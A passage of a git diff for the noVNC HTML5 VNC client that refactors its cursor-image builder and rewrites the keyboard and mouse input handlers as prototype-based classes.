-that.blitImage = function(x, y, width, height, arr, offset) {
- if (conf.true_color) {
- bgrxImageData(x, y, width, height, arr, offset);
- } else {
- cmapImageData(x, y, width, height, arr, offset);
- }
-};
-
-that.blitRgbImage = function(x, y, width, height, arr, offset) {
- if (conf.true_color) {
- rgbImageData(x, y, width, height, arr, offset);
- } else {
- // prolly wrong...
- cmapImageData(x, y, width, height, arr, offset);
- }
-};
-
-that.blitStringImage = function(str, x, y) {
- var img = new Image();
- img.onload = function () {
- c_ctx.drawImage(img, x - viewport.x, y - viewport.y);
- };
- img.src = str;
-};
-
-that.changeCursor = function(pixels, mask, hotx, hoty, w, h) {
- if (conf.cursor_uri === false) {
- Util.Warn("changeCursor called but no cursor data URI support");
- return;
- }
-
- if (conf.true_color) {
- changeCursor(conf.target, pixels, mask, hotx, hoty, w, h);
- } else {
- changeCursor(conf.target, pixels, mask, hotx, hoty, w, h, conf.colourMap);
- }
-};
-
-that.defaultCursor = function() {
- conf.target.style.cursor = "default";
-};
-
-return constructor(); // Return the public API interface
-
-} // End of Display()
-
-
-/* Set CSS cursor property using data URI encoded cursor file */
-function changeCursor(target, pixels, mask, hotx, hoty, w, h, cmap) {
- "use strict";
- var cur = [], rgb, IHDRsz, RGBsz, ANDsz, XORsz, url, idx, alpha, x, y;
- //Util.Debug(">> changeCursor, x: " + hotx + ", y: " + hoty + ", w: " + w + ", h: " + h);
-
- // Push multi-byte little-endian values
- cur.push16le = function (num) {
- this.push((num ) & 0xFF,
- (num >> 8) & 0xFF );
- };
- cur.push32le = function (num) {
- this.push((num ) & 0xFF,
- (num >> 8) & 0xFF,
- (num >> 16) & 0xFF,
- (num >> 24) & 0xFF );
- };
-
- IHDRsz = 40;
- RGBsz = w * h * 4;
- XORsz = Math.ceil( (w * h) / 8.0 );
- ANDsz = Math.ceil( (w * h) / 8.0 );
-
- // Main header
- cur.push16le(0); // 0: Reserved
- cur.push16le(2); // 2: .CUR type
- cur.push16le(1); // 4: Number of images, 1 for non-animated ico
-
- // Cursor #1 header (ICONDIRENTRY)
- cur.push(w); // 6: width
- cur.push(h); // 7: height
- cur.push(0); // 8: colors, 0 -> true-color
- cur.push(0); // 9: reserved
- cur.push16le(hotx); // 10: hotspot x coordinate
- cur.push16le(hoty); // 12: hotspot y coordinate
- cur.push32le(IHDRsz + RGBsz + XORsz + ANDsz);
- // 14: cursor data byte size
- cur.push32le(22); // 18: offset of cursor data in the file
-
-
- // Cursor #1 InfoHeader (ICONIMAGE/BITMAPINFO)
- cur.push32le(IHDRsz); // 22: Infoheader size
- cur.push32le(w); // 26: Cursor width
- cur.push32le(h*2); // 30: XOR+AND height
- cur.push16le(1); // 34: number of planes
- cur.push16le(32); // 36: bits per pixel
- cur.push32le(0); // 38: Type of compression
-
- cur.push32le(XORsz + ANDsz); // 43: Size of Image
- // Gimp leaves this as 0
-
- cur.push32le(0); // 46: reserved
- cur.push32le(0); // 50: reserved
- cur.push32le(0); // 54: reserved
- cur.push32le(0); // 58: reserved
-
- // 62: color data (RGBQUAD icColors[])
- for (y = h-1; y >= 0; y -= 1) {
- for (x = 0; x < w; x += 1) {
- idx = y * Math.ceil(w / 8) + Math.floor(x/8);
- alpha = (mask[idx] << (x % 8)) & 0x80 ? 255 : 0;
-
- if (cmap) {
- idx = (w * y) + x;
- rgb = cmap[pixels[idx]];
- cur.push(rgb[2]); // blue
- cur.push(rgb[1]); // green
- cur.push(rgb[0]); // red
- cur.push(alpha); // alpha
- } else {
- idx = ((w * y) + x) * 4;
- cur.push(pixels[idx + 2]); // blue
- cur.push(pixels[idx + 1]); // green
- cur.push(pixels[idx ]); // red
- cur.push(alpha); // alpha
+ // 62: color data (RGBQUAD icColors[])
+ var y, x;
+ for (y = h - 1; y >= 0; y--) {
+ for (x = 0; x < w; x++) {
+ if (x >= w0 || y >= h0) {
+ cur.push(0); // blue
+ cur.push(0); // green
+ cur.push(0); // red
+ cur.push(0); // alpha
+ } else {
+ var idx = y * Math.ceil(w0 / 8) + Math.floor(x / 8);
+ var alpha = (mask[idx] << (x % 8)) & 0x80 ? 255 : 0;
+ if (cmap) {
+ idx = (w0 * y) + x;
+ var rgb = cmap[pixels[idx]];
+ cur.push(rgb[2]); // blue
+ cur.push(rgb[1]); // green
+ cur.push(rgb[0]); // red
+ cur.push(alpha); // alpha
+ }
+ }
}
}
- }
- // XOR/bitmask data (BYTE icXOR[])
- // (ignored, just needs to be right size)
- for (y = 0; y < h; y += 1) {
- for (x = 0; x < Math.ceil(w / 8); x += 1) {
- cur.push(0x00);
+ // XOR/bitmask data (BYTE icXOR[])
+ // (ignored, just needs to be the right size)
+ for (y = 0; y < h; y++) {
+ for (x = 0; x < Math.ceil(w / 8); x++) {
+ cur.push(0);
+ }
}
- }
- // AND/bitmask data (BYTE icAND[])
- // (ignored, just needs to be right size)
- for (y = 0; y < h; y += 1) {
- for (x = 0; x < Math.ceil(w / 8); x += 1) {
- cur.push(0x00);
+ // AND/bitmask data (BYTE icAND[])
+ // (ignored, just needs to be the right size)
+ for (y = 0; y < h; y++) {
+ for (x = 0; x < Math.ceil(w / 8); x++) {
+ cur.push(0);
+ }
}
- }
- url = "data:image/x-icon;base64," + Base64.encode(cur);
- target.style.cursor = "url(" + url + ") " + hotx + " " + hoty + ", default";
- //Util.Debug("<< changeCursor, cur.length: " + cur.length);
-}
+ var url = 'data:image/x-icon;base64,' + Base64.encode(cur);
+ target.style.cursor = 'url(' + url + ')' + hotx + ' ' + hoty + ', default';
+ };
+})();
diff --git a/webclients/novnc/include/input.js b/webclients/novnc/include/input.js
index 1dfe719..5d9e209 100644
--- a/webclients/novnc/include/input.js
+++ b/webclients/novnc/include/input.js
@@ -1,1911 +1,388 @@
/*
* noVNC: HTML5 VNC client
- * Copyright (C) 2011 Joel Martin
- * Licensed under LGPL-2 or any later version (see LICENSE.txt)
+ * Copyright (C) 2012 Joel Martin
+ * Copyright (C) 2013 Samuel Mannehed for Cendio AB
+ * Licensed under MPL 2.0 or any later version (see LICENSE.txt)
*/
-/*jslint browser: true, white: false, bitwise: false */
+/*jslint browser: true, white: false */
/*global window, Util */
+var Keyboard, Mouse;
-//
-// Keyboard event handler
-//
+(function () {
+ "use strict";
-function Keyboard(defaults) {
-"use strict";
+ //
+ // Keyboard event handler
+ //
-var that = {}, // Public API methods
- conf = {}, // Configuration attributes
+ Keyboard = function (defaults) {
+ this._keyDownList = []; // List of depressed keys
+ // (even if they are happy)
- keyDownList = []; // List of depressed keys
- // (even if they are happy)
+ Util.set_defaults(this, defaults, {
+ 'target': document,
+ 'focused': true
+ });
-// Configuration attributes
-Util.conf_defaults(conf, that, defaults, [
- ['target', 'wo', 'dom', document, 'DOM element that captures keyboard input'],
- ['focused', 'rw', 'bool', true, 'Capture and send key events'],
+ // create the keyboard handler
+ this._handler = new KeyEventDecoder(kbdUtil.ModifierSync(),
+ VerifyCharModifier( /* jshint newcap: false */
+ TrackKeyState(
+ EscapeModifiers(this._handleRfbEvent.bind(this))
+ )
+ )
+ ); /* jshint newcap: true */
- ['onKeyPress', 'rw', 'func', null, 'Handler for key press/release']
- ]);
+ // keep these here so we can refer to them later
+ this._eventHandlers = {
+ 'keyup': this._handleKeyUp.bind(this),
+ 'keydown': this._handleKeyDown.bind(this),
+ 'keypress': this._handleKeyPress.bind(this),
+ 'blur': this._allKeysUp.bind(this)
+ };
+ };
+ Keyboard.prototype = {
+ // private methods
-//
-// Private functions
-//
-
-// From the event keyCode return the keysym value for keys that need
-// to be suppressed otherwise they may trigger unintended browser
-// actions
-function getKeysymSpecial(evt) {
- var keysym = null;
-
- switch ( evt.keyCode ) {
- // These generate a keyDown and keyPress in Firefox and Opera
- case 8 : keysym = 0xFF08; break; // BACKSPACE
- case 13 : keysym = 0xFF0D; break; // ENTER
-
- // This generates a keyDown and keyPress in Opera
- case 9 : keysym = 0xFF09; break; // TAB
- default : break;
- }
-
- if (evt.type === 'keydown') {
- switch ( evt.keyCode ) {
- case 27 : keysym = 0xFF1B; break; // ESCAPE
- case 46 : keysym = 0xFFFF; break; // DELETE
-
- case 36 : keysym = 0xFF50; break; // HOME
- case 35 : keysym = 0xFF57; break; // END
- case 33 : keysym = 0xFF55; break; // PAGE_UP
- case 34 : keysym = 0xFF56; break; // PAGE_DOWN
- case 45 : keysym = 0xFF63; break; // INSERT
- // '-' during keyPress
- case 37 : keysym = 0xFF51; break; // LEFT
- case 38 : keysym = 0xFF52; break; // UP
- case 39 : keysym = 0xFF53; break; // RIGHT
- case 40 : keysym = 0xFF54; break; // DOWN
- case 16 : keysym = 0xFFE1; break; // SHIFT
- case 17 : keysym = 0xFFE3; break; // CONTROL
- //case 18 : keysym = 0xFFE7; break; // Left Meta (Mac Option)
- case 18 : keysym = 0xFFE9; break; // Left ALT (Mac Command)
-
- case 112 : keysym = 0xFFBE; break; // F1
- case 113 : keysym = 0xFFBF; break; // F2
- case 114 : keysym = 0xFFC0; break; // F3
- case 115 : keysym = 0xFFC1; break; // F4
- case 116 : keysym = 0xFFC2; break; // F5
- case 117 : keysym = 0xFFC3; break; // F6
- case 118 : keysym = 0xFFC4; break; // F7
- case 119 : keysym = 0xFFC5; break; // F8
- case 120 : keysym = 0xFFC6; break; // F9
- case 121 : keysym = 0xFFC7; break; // F10
- case 122 : keysym = 0xFFC8; break; // F11
- case 123 : keysym = 0xFFC9; break; // F12
-
- default : break;
- }
- }
-
- if ((!keysym) && (evt.ctrlKey || evt.altKey)) {
- if ((typeof(evt.which) !== "undefined") && (evt.which > 0)) {
- keysym = evt.which;
- } else {
- // IE9 always
- // Firefox and Opera when ctrl/alt + special
- Util.Warn("which not set, using keyCode");
- keysym = evt.keyCode;
- }
-
- /* Remap symbols */
- switch (keysym) {
- case 186 : keysym = 59; break; // ; (IE)
- case 187 : keysym = 61; break; // = (IE)
- case 188 : keysym = 44; break; // , (Mozilla, IE)
- case 109 : // - (Mozilla, Opera)
- if (Util.Engine.gecko || Util.Engine.presto) {
- keysym = 45; }
- break;
- case 189 : keysym = 45; break; // - (IE)
- case 190 : keysym = 46; break; // . (Mozilla, IE)
- case 191 : keysym = 47; break; // / (Mozilla, IE)
- case 192 : keysym = 96; break; // ` (Mozilla, IE)
- case 219 : keysym = 91; break; // [ (Mozilla, IE)
- case 220 : keysym = 92; break; // \ (Mozilla, IE)
- case 221 : keysym = 93; break; // ] (Mozilla, IE)
- case 222 : keysym = 39; break; // ' (Mozilla, IE)
- }
-
- /* Remap shifted and unshifted keys */
- if (!!evt.shiftKey) {
- switch (keysym) {
- case 48 : keysym = 41 ; break; // ) (shifted 0)
- case 49 : keysym = 33 ; break; // ! (shifted 1)
- case 50 : keysym = 64 ; break; // @ (shifted 2)
- case 51 : keysym = 35 ; break; // # (shifted 3)
- case 52 : keysym = 36 ; break; // $ (shifted 4)
- case 53 : keysym = 37 ; break; // % (shifted 5)
- case 54 : keysym = 94 ; break; // ^ (shifted 6)
- case 55 : keysym = 38 ; break; // & (shifted 7)
- case 56 : keysym = 42 ; break; // * (shifted 8)
- case 57 : keysym = 40 ; break; // ( (shifted 9)
-
- case 59 : keysym = 58 ; break; // : (shifted `)
- case 61 : keysym = 43 ; break; // + (shifted ;)
- case 44 : keysym = 60 ; break; // < (shifted ,)
- case 45 : keysym = 95 ; break; // _ (shifted -)
- case 46 : keysym = 62 ; break; // > (shifted .)
- case 47 : keysym = 63 ; break; // ? (shifted /)
- case 96 : keysym = 126; break; // ~ (shifted `)
- case 91 : keysym = 123; break; // { (shifted [)
- case 92 : keysym = 124; break; // | (shifted \)
- case 93 : keysym = 125; break; // } (shifted ])
- case 39 : keysym = 34 ; break; // " (shifted ')
+ _handleRfbEvent: function (e) {
+ if (this._onKeyPress) {
+ Util.Debug("onKeyPress " + (e.type == 'keydown' ? "down" : "up") +
+ ", keysym: " + e.keysym.keysym + "(" + e.keysym.keyname + ")");
+ this._onKeyPress(e.keysym.keysym, e.type == 'keydown');
}
- } else if ((keysym >= 65) && (keysym <=90)) {
- /* Remap unshifted A-Z */
- keysym += 32;
- } else if (evt.keyLocation === 3) {
- // numpad keys
- switch (keysym) {
- case 96 : keysym = 48; break; // 0
- case 97 : keysym = 49; break; // 1
- case 98 : keysym = 50; break; // 2
- case 99 : keysym = 51; break; // 3
- case 100: keysym = 52; break; // 4
- case 101: keysym = 53; break; // 5
- case 102: keysym = 54; break; // 6
- case 103: keysym = 55; break; // 7
- case 104: keysym = 56; break; // 8
- case 105: keysym = 57; break; // 9
- case 109: keysym = 45; break; // -
- case 110: keysym = 46; break; // .
- case 111: keysym = 47; break; // /
- }
- }
- }
+ },
- return keysym;
-}
+ _handleKeyDown: function (e) {
+ if (!this._focused) { return true; }
-/* Translate DOM keyPress event to keysym value */
-function getKeysym(evt) {
- var keysym, msg;
-
- if (typeof(evt.which) !== "undefined") {
- // WebKit, Firefox, Opera
- keysym = evt.which;
- } else {
- // IE9
- Util.Warn("which not set, using keyCode");
- keysym = evt.keyCode;
- }
-
- if ((keysym > 255) && (keysym < 0xFF00)) {
- msg = "Mapping character code " + keysym;
- // Map Unicode outside Latin 1 to X11 keysyms
- keysym = unicodeTable[keysym];
- if (typeof(keysym) === 'undefined') {
- keysym = 0;
- }
- Util.Debug(msg + " to " + keysym);
- }
-
- return keysym;
-}
-
-function show_keyDownList(kind) {
- var c;
- var msg = "keyDownList (" + kind + "):\n";
- for (c = 0; c < keyDownList.length; c++) {
- msg = msg + " " + c + " - keyCode: " + keyDownList[c].keyCode +
- " - which: " + keyDownList[c].which + "\n";
- }
- Util.Debug(msg);
-}
-
-function copyKeyEvent(evt) {
- var members = ['type', 'keyCode', 'charCode', 'which',
- 'altKey', 'ctrlKey', 'shiftKey',
- 'keyLocation', 'keyIdentifier'], i, obj = {};
- for (i = 0; i < members.length; i++) {
- if (typeof(evt[members[i]]) !== "undefined") {
- obj[members[i]] = evt[members[i]];
- }
- }
- return obj;
-}
-
-function pushKeyEvent(fevt) {
- keyDownList.push(fevt);
-}
-
-function getKeyEvent(keyCode, pop) {
- var i, fevt = null;
- for (i = keyDownList.length-1; i >= 0; i--) {
- if (keyDownList[i].keyCode === keyCode) {
- if ((typeof(pop) !== "undefined") && (pop)) {
- fevt = keyDownList.splice(i, 1)[0];
+ if (this._handler.keydown(e)) {
+ // Suppress bubbling/default actions
+ Util.stopEvent(e);
+ return false;
} else {
- fevt = keyDownList[i];
+ // Allow the event to bubble and become a keyPress event which
+ // will have the character code translated
+ return true;
}
- break;
+ },
+
+ _handleKeyPress: function (e) {
+ if (!this._focused) { return true; }
+
+ if (this._handler.keypress(e)) {
+ // Suppress bubbling/default actions
+ Util.stopEvent(e);
+ return false;
+ } else {
+ // Allow the event to bubble and become a keyPress event which
+ // will have the character code translated
+ return true;
+ }
+ },
+
+ _handleKeyUp: function (e) {
+ if (!this._focused) { return true; }
+
+ if (this._handler.keyup(e)) {
+ // Suppress bubbling/default actions
+ Util.stopEvent(e);
+ return false;
+ } else {
+ // Allow the event to bubble and become a keyPress event which
+ // will have the character code translated
+ return true;
+ }
+ },
+
+ _allKeysUp: function () {
+ Util.Debug(">> Keyboard.allKeysUp");
+ this._handler.releaseAll();
+ Util.Debug("<< Keyboard.allKeysUp");
+ },
+
+ // Public methods
+
+ grab: function () {
+ //Util.Debug(">> Keyboard.grab");
+ var c = this._target;
+
+ Util.addEvent(c, 'keydown', this._eventHandlers.keydown);
+ Util.addEvent(c, 'keyup', this._eventHandlers.keyup);
+ Util.addEvent(c, 'keypress', this._eventHandlers.keypress);
+
+ // Release (key up) if window loses focus
+ Util.addEvent(window, 'blur', this._eventHandlers.blur);
+
+ //Util.Debug("<< Keyboard.grab");
+ },
+
+ ungrab: function () {
+ //Util.Debug(">> Keyboard.ungrab");
+ var c = this._target;
+
+ Util.removeEvent(c, 'keydown', this._eventHandlers.keydown);
+ Util.removeEvent(c, 'keyup', this._eventHandlers.keyup);
+ Util.removeEvent(c, 'keypress', this._eventHandlers.keypress);
+ Util.removeEvent(window, 'blur', this._eventHandlers.blur);
+
+ // Release (key up) all keys that are in a down state
+ this._allKeysUp();
+
+ //Util.Debug(">> Keyboard.ungrab");
+ },
+
+ sync: function (e) {
+ this._handler.syncModifiers(e);
}
- }
- return fevt;
-}
+ };
-function ignoreKeyEvent(evt) {
- // Blarg. Some keys have a different keyCode on keyDown vs keyUp
- if (evt.keyCode === 229) {
- // French AZERTY keyboard dead key.
- // Lame thing is that the respective keyUp is 219 so we can't
- // properly ignore the keyUp event
- return true;
- }
- return false;
-}
+ Util.make_properties(Keyboard, [
+ ['target', 'wo', 'dom'], // DOM element that captures keyboard input
+ ['focused', 'rw', 'bool'], // Capture and send key events
-
-//
-// Key Event Handling:
-//
-// There are several challenges when dealing with key events:
-// - The meaning and use of keyCode, charCode and which depends on
-// both the browser and the event type (keyDown/Up vs keyPress).
-// - We cannot automatically determine the keyboard layout
-// - The keyDown and keyUp events have a keyCode value that has not
-// been translated by modifier keys.
-// - The keyPress event has a translated (for layout and modifiers)
-// character code but the attribute containing it differs. keyCode
-// contains the translated value in WebKit (Chrome/Safari), Opera
-// 11 and IE9. charCode contains the value in WebKit and Firefox.
-// The which attribute contains the value on WebKit, Firefox and
-// Opera 11.
-// - The keyDown/Up keyCode value indicates (sort of) the physical
-// key was pressed but only for standard US layout. On a US
-// keyboard, the '-' and '_' characters are on the same key and
-// generate a keyCode value of 189. But on an AZERTY keyboard even
-// though they are different physical keys they both still
-// generate a keyCode of 189!
-// - To prevent a key event from propagating to the browser and
-// causing unwanted default actions (such as closing a tab,
-// opening a menu, shifting focus, etc) we must suppress this
-// event in both keyDown and keyPress because not all key strokes
-// generate on a keyPress event. Also, in WebKit and IE9
-// suppressing the keyDown prevents a keyPress but other browsers
-// still generated a keyPress even if keyDown is suppressed.
-//
-// For safe key events, we wait until the keyPress event before
-// reporting a key down event. For unsafe key events, we report a key
-// down event when the keyDown event fires and we suppress any further
-// actions (including keyPress).
-//
-// In order to report a key up event that matches what we reported
-// for the key down event, we keep a list of keys that are currently
-// down. When the keyDown event happens, we add the key event to the
-// list. If it is a safe key event, then we update the which attribute
-// in the most recent item on the list when we received a keyPress
-// event (keyPress should immediately follow keyDown). When we
-// received a keyUp event we search for the event on the list with
-// a matching keyCode and we report the character code using the value
-// in the 'which' attribute that was stored with that key.
-//
-
-function onKeyDown(e) {
- if (! conf.focused) {
- return true;
- }
- var fevt = null, evt = (e ? e : window.event),
- keysym = null, suppress = false;
- //Util.Debug("onKeyDown kC:" + evt.keyCode + " cC:" + evt.charCode + " w:" + evt.which);
-
- fevt = copyKeyEvent(evt);
-
- keysym = getKeysymSpecial(evt);
- // Save keysym decoding for use in keyUp
- fevt.keysym = keysym;
- if (keysym) {
- // If it is a key or key combination that might trigger
- // browser behaviors or it has no corresponding keyPress
- // event, then send it immediately
- if (conf.onKeyPress && !ignoreKeyEvent(evt)) {
- Util.Debug("onKeyPress down, keysym: " + keysym +
- " (onKeyDown key: " + evt.keyCode +
- ", which: " + evt.which + ")");
- conf.onKeyPress(keysym, 1, evt);
- }
- suppress = true;
- }
-
- if (! ignoreKeyEvent(evt)) {
- // Add it to the list of depressed keys
- pushKeyEvent(fevt);
- //show_keyDownList('down');
- }
-
- if (suppress) {
- // Suppress bubbling/default actions
- Util.stopEvent(e);
- return false;
- } else {
- // Allow the event to bubble and become a keyPress event which
- // will have the character code translated
- return true;
- }
-}
-
-function onKeyPress(e) {
- if (! conf.focused) {
- return true;
- }
- var evt = (e ? e : window.event),
- kdlen = keyDownList.length, keysym = null;
- //Util.Debug("onKeyPress kC:" + evt.keyCode + " cC:" + evt.charCode + " w:" + evt.which);
-
- if (((evt.which !== "undefined") && (evt.which === 0)) ||
- (getKeysymSpecial(evt))) {
- // Firefox and Opera generate a keyPress event even if keyDown
- // is suppressed. But the keys we want to suppress will have
- // either:
- // - the which attribute set to 0
- // - getKeysymSpecial() will identify it
- Util.Debug("Ignoring special key in keyPress");
- Util.stopEvent(e);
- return false;
- }
-
- keysym = getKeysym(evt);
-
- // Modify the the which attribute in the depressed keys list so
- // that the keyUp event will be able to have the character code
- // translation available.
- if (kdlen > 0) {
- keyDownList[kdlen-1].keysym = keysym;
- } else {
- Util.Warn("keyDownList empty when keyPress triggered");
- }
-
- //show_keyDownList('press');
-
- // Send the translated keysym
- if (conf.onKeyPress && (keysym > 0)) {
- Util.Debug("onKeyPress down, keysym: " + keysym +
- " (onKeyPress key: " + evt.keyCode +
- ", which: " + evt.which + ")");
- conf.onKeyPress(keysym, 1, evt);
- }
-
- // Stop keypress events just in case
- Util.stopEvent(e);
- return false;
-}
-
-function onKeyUp(e) {
- if (! conf.focused) {
- return true;
- }
- var fevt = null, evt = (e ? e : window.event), keysym;
- //Util.Debug("onKeyUp kC:" + evt.keyCode + " cC:" + evt.charCode + " w:" + evt.which);
-
- fevt = getKeyEvent(evt.keyCode, true);
-
- if (fevt) {
- keysym = fevt.keysym;
- } else {
- Util.Warn("Key event (keyCode = " + evt.keyCode +
- ") not found on keyDownList");
- keysym = 0;
- }
-
- //show_keyDownList('up');
-
- if (conf.onKeyPress && (keysym > 0)) {
- //Util.Debug("keyPress up, keysym: " + keysym +
- // " (key: " + evt.keyCode + ", which: " + evt.which + ")");
- Util.Debug("onKeyPress up, keysym: " + keysym +
- " (onKeyPress key: " + evt.keyCode +
- ", which: " + evt.which + ")");
- conf.onKeyPress(keysym, 0, evt);
- }
- Util.stopEvent(e);
- return false;
-}
-
-function allKeysUp() {
- Util.Debug(">> Keyboard.allKeysUp");
- if (keyDownList.length > 0) {
- Util.Info("Releasing pressed/down keys");
- }
- var i, keysym, fevt = null;
- for (i = keyDownList.length-1; i >= 0; i--) {
- fevt = keyDownList.splice(i, 1)[0];
- keysym = fevt.keysym;
- if (conf.onKeyPress && (keysym > 0)) {
- Util.Debug("allKeysUp, keysym: " + keysym +
- " (keyCode: " + fevt.keyCode +
- ", which: " + fevt.which + ")");
- conf.onKeyPress(keysym, 0, fevt);
- }
- }
- Util.Debug("<< Keyboard.allKeysUp");
- return;
-}
-
-//
-// Public API interface functions
-//
-
-that.grab = function() {
- //Util.Debug(">> Keyboard.grab");
- var c = conf.target;
-
- Util.addEvent(c, 'keydown', onKeyDown);
- Util.addEvent(c, 'keyup', onKeyUp);
- Util.addEvent(c, 'keypress', onKeyPress);
-
- // Release (key up) if window loses focus
- Util.addEvent(window, 'blur', allKeysUp);
-
- //Util.Debug("<< Keyboard.grab");
-};
-
-that.ungrab = function() {
- //Util.Debug(">> Keyboard.ungrab");
- var c = conf.target;
-
- Util.removeEvent(c, 'keydown', onKeyDown);
- Util.removeEvent(c, 'keyup', onKeyUp);
- Util.removeEvent(c, 'keypress', onKeyPress);
- Util.removeEvent(window, 'blur', allKeysUp);
-
- // Release (key up) all keys that are in a down state
- allKeysUp();
-
- //Util.Debug(">> Keyboard.ungrab");
-};
-
-return that; // Return the public API interface
-
-} // End of Keyboard()
-
-
-//
-// Mouse event handler
-//
-
-function Mouse(defaults) {
-"use strict";
-
-var that = {}, // Public API methods
- conf = {}; // Configuration attributes
-
-// Configuration attributes
-Util.conf_defaults(conf, that, defaults, [
- ['target', 'ro', 'dom', document, 'DOM element that captures mouse input'],
- ['focused', 'rw', 'bool', true, 'Capture and send mouse clicks/movement'],
- ['scale', 'rw', 'float', 1.0, 'Viewport scale factor 0.0 - 1.0'],
-
- ['onMouseButton', 'rw', 'func', null, 'Handler for mouse button click/release'],
- ['onMouseMove', 'rw', 'func', null, 'Handler for mouse movement'],
- ['touchButton', 'rw', 'int', 1, 'Button mask (1, 2, 4) for touch devices (0 means ignore clicks)']
+ ['onKeyPress', 'rw', 'func'] // Handler for key press/release
]);
+ //
+ // Mouse event handler
+ //
-//
-// Private functions
-//
+ Mouse = function (defaults) {
+ this._mouseCaptured = false;
-function onMouseButton(e, down) {
- var evt, pos, bmask;
- if (! conf.focused) {
- return true;
- }
- evt = (e ? e : window.event);
- pos = Util.getEventPosition(e, conf.target, conf.scale);
- if (e.touches || e.changedTouches) {
- // Touch device
- bmask = conf.touchButton;
- // If bmask is set
- } else if (evt.which) {
- /* everything except IE */
- bmask = 1 << evt.button;
- } else {
- /* IE including 9 */
- bmask = (evt.button & 0x1) + // Left
- (evt.button & 0x2) * 2 + // Right
- (evt.button & 0x4) / 2; // Middle
- }
- //Util.Debug("mouse " + pos.x + "," + pos.y + " down: " + down +
- // " bmask: " + bmask + "(evt.button: " + evt.button + ")");
- if (bmask > 0 && conf.onMouseButton) {
- Util.Debug("onMouseButton " + (down ? "down" : "up") +
- ", x: " + pos.x + ", y: " + pos.y + ", bmask: " + bmask);
- conf.onMouseButton(pos.x, pos.y, down, bmask);
- }
- Util.stopEvent(e);
- return false;
-}
+ this._doubleClickTimer = null;
+ this._lastTouchPos = null;
-function onMouseDown(e) {
- onMouseButton(e, 1);
-}
+ // Configuration attributes
+ Util.set_defaults(this, defaults, {
+ 'target': document,
+ 'focused': true,
+ 'scale': 1.0,
+ 'touchButton': 1
+ });
-function onMouseUp(e) {
- onMouseButton(e, 0);
-}
+ this._eventHandlers = {
+ 'mousedown': this._handleMouseDown.bind(this),
+ 'mouseup': this._handleMouseUp.bind(this),
+ 'mousemove': this._handleMouseMove.bind(this),
+ 'mousewheel': this._handleMouseWheel.bind(this),
+ 'mousedisable': this._handleMouseDisable.bind(this)
+ };
+ };
-function onMouseWheel(e) {
- var evt, pos, bmask, wheelData;
- if (! conf.focused) {
- return true;
- }
- evt = (e ? e : window.event);
- pos = Util.getEventPosition(e, conf.target, conf.scale);
- wheelData = evt.detail ? evt.detail * -1 : evt.wheelDelta / 40;
- if (wheelData > 0) {
- bmask = 1 << 3;
- } else {
- bmask = 1 << 4;
- }
- //Util.Debug('mouse scroll by ' + wheelData + ':' + pos.x + "," + pos.y);
- if (conf.onMouseButton) {
- conf.onMouseButton(pos.x, pos.y, 1, bmask);
- conf.onMouseButton(pos.x, pos.y, 0, bmask);
- }
- Util.stopEvent(e);
- return false;
-}
+ Mouse.prototype = {
+ // private methods
+ _captureMouse: function () {
+ // capturing the mouse ensures we get the mouseup event
+ if (this._target.setCapture) {
+ this._target.setCapture();
+ }
-function onMouseMove(e) {
- var evt, pos;
- if (! conf.focused) {
- return true;
- }
- evt = (e ? e : window.event);
- pos = Util.getEventPosition(e, conf.target, conf.scale);
- //Util.Debug('mouse ' + evt.which + '/' + evt.button + ' up:' + pos.x + "," + pos.y);
- if (conf.onMouseMove) {
- conf.onMouseMove(pos.x, pos.y);
- }
- Util.stopEvent(e);
- return false;
-}
+ // some browsers give us mouseup events regardless,
+ // so if we never captured the mouse, we can disregard the event
+ this._mouseCaptured = true;
+ },
-function onMouseDisable(e) {
- var evt, pos;
- if (! conf.focused) {
- return true;
- }
- evt = (e ? e : window.event);
- pos = Util.getEventPosition(e, conf.target, conf.scale);
- /* Stop propagation if inside canvas area */
- if ((pos.x >= 0) && (pos.y >= 0) &&
- (pos.x < conf.target.offsetWidth) &&
- (pos.y < conf.target.offsetHeight)) {
- //Util.Debug("mouse event disabled");
- Util.stopEvent(e);
- return false;
- }
- //Util.Debug("mouse event not disabled");
- return true;
-}
+ _releaseMouse: function () {
+ if (this._target.releaseCapture) {
+ this._target.releaseCapture();
+ }
+ this._mouseCaptured = false;
+ },
-//
-// Public API interface functions
-//
+ _resetDoubleClickTimer: function () {
+ this._doubleClickTimer = null;
+ },
-that.grab = function() {
- //Util.Debug(">> Mouse.grab");
- var c = conf.target;
+ _handleMouseButton: function (e, down) {
+ if (!this._focused) { return true; }
- if ('ontouchstart' in document.documentElement) {
- Util.addEvent(c, 'touchstart', onMouseDown);
- Util.addEvent(c, 'touchend', onMouseUp);
- Util.addEvent(c, 'touchmove', onMouseMove);
- } else {
- Util.addEvent(c, 'mousedown', onMouseDown);
- Util.addEvent(c, 'mouseup', onMouseUp);
- Util.addEvent(c, 'mousemove', onMouseMove);
- Util.addEvent(c, (Util.Engine.gecko) ? 'DOMMouseScroll' : 'mousewheel',
- onMouseWheel);
- }
+ if (this._notify) {
+ this._notify(e);
+ }
- /* Work around right and middle click browser behaviors */
- Util.addEvent(document, 'click', onMouseDisable);
- Util.addEvent(document.body, 'contextmenu', onMouseDisable);
+ var evt = (e ? e : window.event);
+ var pos = Util.getEventPosition(e, this._target, this._scale);
- //Util.Debug("<< Mouse.grab");
-};
+ var bmask;
+ if (e.touches || e.changedTouches) {
+ // Touch device
-that.ungrab = function() {
- //Util.Debug(">> Mouse.ungrab");
- var c = conf.target;
+ // When two touches occur within 500 ms of each other and are
+ // closer than 20 pixels together a double click is triggered.
+ if (down == 1) {
+ if (this._doubleClickTimer === null) {
+ this._lastTouchPos = pos;
+ } else {
+ clearTimeout(this._doubleClickTimer);
- if ('ontouchstart' in document.documentElement) {
- Util.removeEvent(c, 'touchstart', onMouseDown);
- Util.removeEvent(c, 'touchend', onMouseUp);
- Util.removeEvent(c, 'touchmove', onMouseMove);
- } else {
- Util.removeEvent(c, 'mousedown', onMouseDown);
- Util.removeEvent(c, 'mouseup', onMouseUp);
- Util.removeEvent(c, 'mousemove', onMouseMove);
- Util.removeEvent(c, (Util.Engine.gecko) ? 'DOMMouseScroll' : 'mousewheel',
- onMouseWheel);
- }
+ // When the distance between the two touches is small enough
+ // force the position of the latter touch to the position of
+ // the first.
- /* Work around right and middle click browser behaviors */
- Util.removeEvent(document, 'click', onMouseDisable);
- Util.removeEvent(document.body, 'contextmenu', onMouseDisable);
+ var xs = this._lastTouchPos.x - pos.x;
+ var ys = this._lastTouchPos.y - pos.y;
+ var d = Math.sqrt((xs * xs) + (ys * ys));
- //Util.Debug(">> Mouse.ungrab");
-};
+ // The goal is to trigger on a certain physical width, the
